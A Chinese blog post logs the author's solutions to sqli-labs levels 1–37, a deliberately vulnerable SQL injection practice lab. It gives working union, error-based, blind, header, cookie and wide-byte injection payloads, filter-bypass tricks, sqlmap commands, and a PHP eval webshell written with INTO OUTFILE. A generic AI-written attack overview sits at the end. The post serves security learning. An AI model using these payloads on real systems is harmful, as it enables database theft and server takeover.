SQLI-labs靶场Less1-37详细学习记录(7400字总结)

最近突发奇想,想把之前做过的靶场进行归纳,给自己一个交代给他人一份借鉴,于是就把sqli-labs靶场作为第二篇总结拿来祭笔。

sqli-labs关卡很多,19年开始做一直到22年还没做完,总是断断续续,往返折回,这一次强烈要求自己在空余时间把所有关卡记录到博客,对注入内容进行学习总结。至于代码层面,因功力不足,保持敬畏之心,在此就不误人子弟贻笑大方了。

第一关

题目提示输入ID进行get传参,但需要注意的是这个靶场貌似是区分大小写的,但也可能是自己环境原因,使用大写ID进行传参没有任何回显的,只有输入id才可以传参,这点需要注意。

'报错

如果使用 # 注释不起作用。采用%23或者--+注释都可以#注释,order by爆字段数,4时报错,发现三个字段

union联合查询,判断回显点进行注入,前面的id=-1因为此页面不存在,所以执行后面参数。

查询数据库

http://192.168.124.69/sql-master/Less-1/?id=-1%27%20union%20select%201,database(),3%23

 下面使用information_schema一系列操作得到账号密码

-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3%23
    informationschema.tables该表存放所有表结构
    table_schema:该字段记录所有数据库名
    table_name:该字段记录所有数据表名
    构造这个payload是为了遍历pikachu这个库存在的所有表名

现在我们已经知道了pikachu数据库中对应的所有表,继续进行遍历列名,构造payload: 
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3%23
    information_schema.columns该表提供了所有列的信息,详细表述了某个列属于哪个表
    column_name:记录所有列名
    table_name:记录所有数据表名

查看账号密码,payload:
-1' union select 1,group_concat(username,"-",password) from users%23

第二关

和第一关相比,闭合方式有所区别,数字型

id=1 order by 3 

第三关

与上面相同,,闭合方式不同。

 尝试构造闭合方式

 第四关

双引号报错,构造闭合,其余与上面相同

第五关

第五关不可以使用union联合查询,页面不输出查询结果,这里采用报错注入绕过,原理解决可以翻看去年文章

updatexml函数-报错注入原理学习_身高两米不到的博客-CSDN博客


 

过程基本如下:

1' and updatexml(1,version(),1)%23
1' and updatexml(1,concat(0x7e,database()),0)%23
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')),0)%23
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),0)%23
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1)),0)%23
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1)),0)%23
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)%23
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1)),0)%23
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 5,1)),0)%23
1' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)%23
1' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)%23

第六关

闭合方式不同,和第五关相同。

 第七关

提示outfile,立刻想到outfile往里写马,先进入数据库,看看secure_file_priv是否开启

 MySQL 5.5之后 secure_filepriv 默认是 NULL,这个情况下不可以写文件
本地value的值为NULL,表示禁止
本地value的值有文件夹目录,则表示只允许该目录下文件,在这里我只允许在D盘写入文件
如果为空,则表示不限制目录

这个闭合比较难猜,多尝试尝试

union联合查询进行写马,因为我们知道本地路径,直接写入到phpstudy目录下
真实情况下需要知道网站路径
-1')) union select 1,2,"<?php @eval($_POST['cmd']); ?>" into outfile "D://phpstudy/WWW//test.php" %23

 已经成功写入webshell

使用蚁剑进行连接,连接成功,总体来讲,利用条件还是比较苛刻。

 第八关

简单的'判断,在加上order by函数,基本可以判定为布尔盲注,如果输入为真页面不会产生变化,如果输入为假则页面会产生变化,根据这个进行判断。

 盲注这部分不推荐手注

下文是之间写过的文章复制过来

盲注我在pikachu平台手注研究过,但是工作量实在是太大。思来想去,由于不会写脚本所以决定放弃手注研究一下burpsuite+布尔盲注

如果真的要采用手注那一定是世界上只剩下这一种方法!!!
以下使我手注pikachu部分payload截取,一个小小的txt手写几十k,太残暴了。

首先使用length函数判断当前数据库名称长度,这个可以手动猜测,很快得到长度为8

对数据库对应字母进行爆破,输入payload:1' and substr(database(),1,1)='q'%23进行抓包

发送给intruder,选择第四个爆破方式,给 1,q字母增加变量

因为我们已经知道数据库的长度为8,所以第一个参数就有了

第二个参数把26位英文字母增加进去

因为我已经知道数据库名-security,真实情况下大写也是有可能的

爆破,根据返回长度得到对应数据库名-security

数据库security已经爆破出来,下面猜解表的数量,也是采用手测发现有四个

1'and (select count(*) from information_schema.tables where table_schema=database())=4%23

如果是手注下一步就应该猜测每个表的长度,然后猜测它们对应的每个字母,但是我们采用burpsuite爆破就可以直接给它一个数值范围爆就完了

1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='q'%23
得到第一个表emails

继续爆破,得到各自表

得到表名users

爆破列名,下面就不一一详列,我们只需要得到相关列

得到username和password两列

爆破账号密码DUMB:DUMB

因为这个靶场不区分大写,我这边爆破显示结果就是如此

上面是burp+手注,可以理解为半自动猜解,更推荐sqlmap直接跑

sqlmap -u  --dbms=MySQL --random-agent --flush-session --technique=U -v 3  联合注入
sqlmap -u  --dbms=MySQL --random-agent --flush-session --technique=E -v 3 报错注入
sqlmap -u  --dbms=MySQL --random-agent --flush-session --technique=B -v 3 布尔盲注
sqlmap -u  --dbms=MySQL --random-agent --flush-session --technique=T -v 3  时间注入
dbms参数,指定数据库类型;
random-agent,随机生成一个user-agent;
flush-session,清除缓存,网站扫描会生成缓存文件,下次扫描同一网站会调用缓存,如果想重新扫描要添加该命令;
technique命令指定注入方式

第九关

可以使用基于时间的盲注 ,很明显看到页面延时。

id=1' and if(length(database())=8,sleep(5),1)%23

第十关

同第九关相同,没有区别,闭合方式不同 

第十一关

burp抓包,'报错,找到注入点,和上面类似,只不过是post型

还可以使用万能密码绕过登录窗口

也可以使用burp抓包,然后保存为1.txt,然后使用sqlmap -r 1.txt进行扫描

在这里学到一个新的sqlmap注入姿势,使用data参数也可以

sqlmap -u xx --date="uname=admin&passwd=111&submit=Submit" -p "uname"

第十二关

闭合方式不同dumb"),同上面相同

 第十三关

和上面差不多,只不过一个是get一个是post

首先判断闭合方式

可以使用updatexml注入,不注意括号,命令会失败执行

uname=dumb') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1)),0)#&passwd=admin'&submit=Submit

 其余使用extratvalue或者floor函数都是可以的

 第十四关

updatexml函数注入绕过,只不过是" 报错,感觉回到了从前

0x15    第十五关

经过判断为盲注

直接使用sqlmp跑就完了, python sqlmap.py -r 1.txt --batch

第十六关

")可以实现,并且存在盲注,上波使用布尔盲注,这里使用时间盲注方式

第十七关

注入点出现在password处,

0x18    第十八关

在user-agent处进行注入,简单尝试 ' 发现存在注入点

1' and updatexml(1,concat(0x7e,database()),1)#,1,1),这里成功回显出数据库名,这里的构造方法是新姿势,学习到了。

第十九关

注入点出现在referer处

第二十关

第二十关考察cookie注入,cookie注入提示了your cookie= 啥玩意的,使用插件进行cookie注入,成功报错,而且很有意思的是使用burp没抓到

到这里,基础注入挑战全部完成,下面进入高级注入挑战。

第二十一关

首先登录,发现返回cookie信息有变化,发现base64加密,需要注意的是每一次输入都需要base64加密再执行否则会失败的。

注入点出现在cookie处,burp改包然后base64进行加密注入。
首先判断闭合方式,根据报错尝试得知闭合为 ') ,然后使用判断字段个数,order by 4
union联合查询,看到数据库名为security
这边又对于information_schem使用有新一步理解,select 语句为一个完整语句
') union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')#
') union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')#
') union select 1,2,group_concat(username,0x3a,password) from users#,这个查询就很强,学到。查询出账号密码之间用 : 分隔开
记得base64加密输入

还有个问题,不知道为什么hackbar没有回显,蛮有意思的。

第二十二关

二十二关闭合方式和前面不同,其余没有区别

第二十三关

这里 ' 可以成功报错,尝试过后发现把注释符号给过滤掉,无论是#还是--+又或是%23都不可以,这里需要学习的是闭合姿势 

一个是不太常见的注释符号;%00 ,一个是使用 and '1' ='1拼接后面语句使注入能够正常进行

拼接方法一
' order by 4;%00
拼接方法二
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 and '1'='1
拼接方法三
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' '

 第二十四关

739adc4d10df407063b54712e0fb0de4.png

首先我们注册一个用户为 admin '#:123456 的用户,然后对其进行密码修改,然后发现这修改的密码其实直接作为admin用户的密码,就为123

第二十五关

二十五关过滤掉or和and

 可以采用双写绕过

1' oorrder by 3%23

id=-1' union select 1,2,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security')%23

下面不进行展示

第二十五a关

这一关后台使用了函数error_reporting(0)从而关闭报错,而并不是输入的payload有问题

第二十六关

过滤掉空格、注释、and、or。

可代替空格符号:%0a、%0b、%0c、%0d, 

id=1' aandnd(extractvalue(1,concat(0x7e,(select(database()))))) aandnd '1'='1

 第二十六a关

这关闭合方式有点区别,其它相同

第二十七关

经过几次测试,发现正常空格、注释有问题,这里使用%0a代替空格,;%00代替注释,成功判断出列数。

继续判断?id=-1'%0Aunion%0Aselect%0A1,2,3;%00,发现union、selec被过滤。

 尝试大小写绕过,绕过成功,双写绕过也是可以的,下面不再赘述

0'%0auNion%0aselEct%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

 

 第二十七a关

闭合方式不同,其余和上面相同

第二十八关-第二十八a关

这两关环境报错,因为不熟练sql语句,加之工作原因,所以对于报错原因进行搁浅。

翻看网上过滤,基本上和前面差不多。

第二十九关

HTTP参数污染 - 珍惜少年时 - 博客园

本关卡涉及到HTTP参数污染,不同的网站处理参数方式不同,研究原理这事个人不够资格,也怕误导他人,下面借鉴前人造轮子

原理产生原因比较难,但理解运用上没啥问题。

?id=1&id=1' order by 3%23

第三十关

三十关闭合和二十九有些区别,其它无变化。

第三十一关

闭合方式其余相似

第三十二关

尝试 ' 报错,发现很明显的宽字节注入回显,现在的网站很难见到gbk编码网站,下面就不多说了

具体原理可以参考个人去年文章,里面非常详细。

 第三十三关

本关卡涉及到函数addslashes()函数,该函数会在 '  "   \ 前面加入一个 \ 用来转义

比如a' or 1=1' 转义过后就是a\' or 1=1\' ,这里的编码是gbk,也是用%df拼接吃掉 /,使得实现注入,步骤同上,主要了解该函数作用。

第三十四关

本关卡是使用POST方式绕过addslashes()函数 

34题按理说就是一个POST方式绕过,但是使用burp尝试并未成功。

第三十五关

三十五关直接用数字型绕,addslashes()防护做了等于没做。 

第三十六关

三十关是绕过mysql_real_escape_string()函数,该函数在遇到以下字符会进行转义以防止恶意注入,这里咱只要关注 '  "  /  这三个字符就可以。

还需注意的是,该函数在php5.5.0被弃用,于7.0.0中被删除。

大概知晓该函数作用尝试绕过,也是宽字节注入,和前面区别不大。

第三十七关

三十七关使用post方式传参,burp抓包改包未成功,猜测可能和我php版本有关,暂未找到原因,但是原理都是一样的,只是修改了传参方式而已。

到此处 高级注入部分完成。

总结

原本打算把该靶场一次性全部结束,但因实习工作原因,断断续续写了三周才写完高级注入部分,思来想去暂时结尾,把持更新习惯,把堆叠部分开一新篇章进行总结。

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
对于sqli-labs靶场详细攻略,我可以为你提供一些建议。sqli-labs是一个专注于SQL注入漏洞的靶场,用于学习和实践SQL注入攻击技术。以下是一些攻略提示: 1. 理解基础知识:在开始攻击之前,确保你对SQL注入的基本原理有所了解。了解SQL语句的结构和工作原理,以及可能导致注入漏洞的常见错误和不安全的编码实践。 2. 探测漏洞点:浏览sqli-labs靶场,寻找有可能存在SQL注入漏洞的页面。通常,URL参数或表单输入是最容易受到注入攻击的地方。注意目标页面上是否存在可供利用的漏洞点。 3. 利用注入漏洞:一旦找到注入漏洞点,你可以通过构造恶意的输入来利用它。尝试不同类型的注入攻击,如基于布尔盲注、错误注入、联合查询等。使用不同的技巧和payload来探测和利用漏洞。 4. 获取数据:成功利用注入漏洞后,你可以通过注入语句获取目标数据库中的数据。尝试使用SELECT语句来提取数据,并根据数据库的结构和内容来编写合适的查询语句。 5. 升级攻击:一旦你能够成功提取数据,尝试进一步升级攻击。这可能包括通过注入管理员账号、执行操作或命令、提权等来控制目标系统。 6. 学习总结:在攻击过程中,及时记录你的操作和结果。理解每个攻击步骤的原理和技术细节,并从中吸取经验和教训。这将帮助你提高对SQL注入漏洞的理解和攻击能力。 需要注意的是,在进行任何攻击之前,请确保你只在合法授权的环境中使用sqli-labs靶场,并遵循道德黑客准则。安全性和合法性是进行攻击和学习的前提条件。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值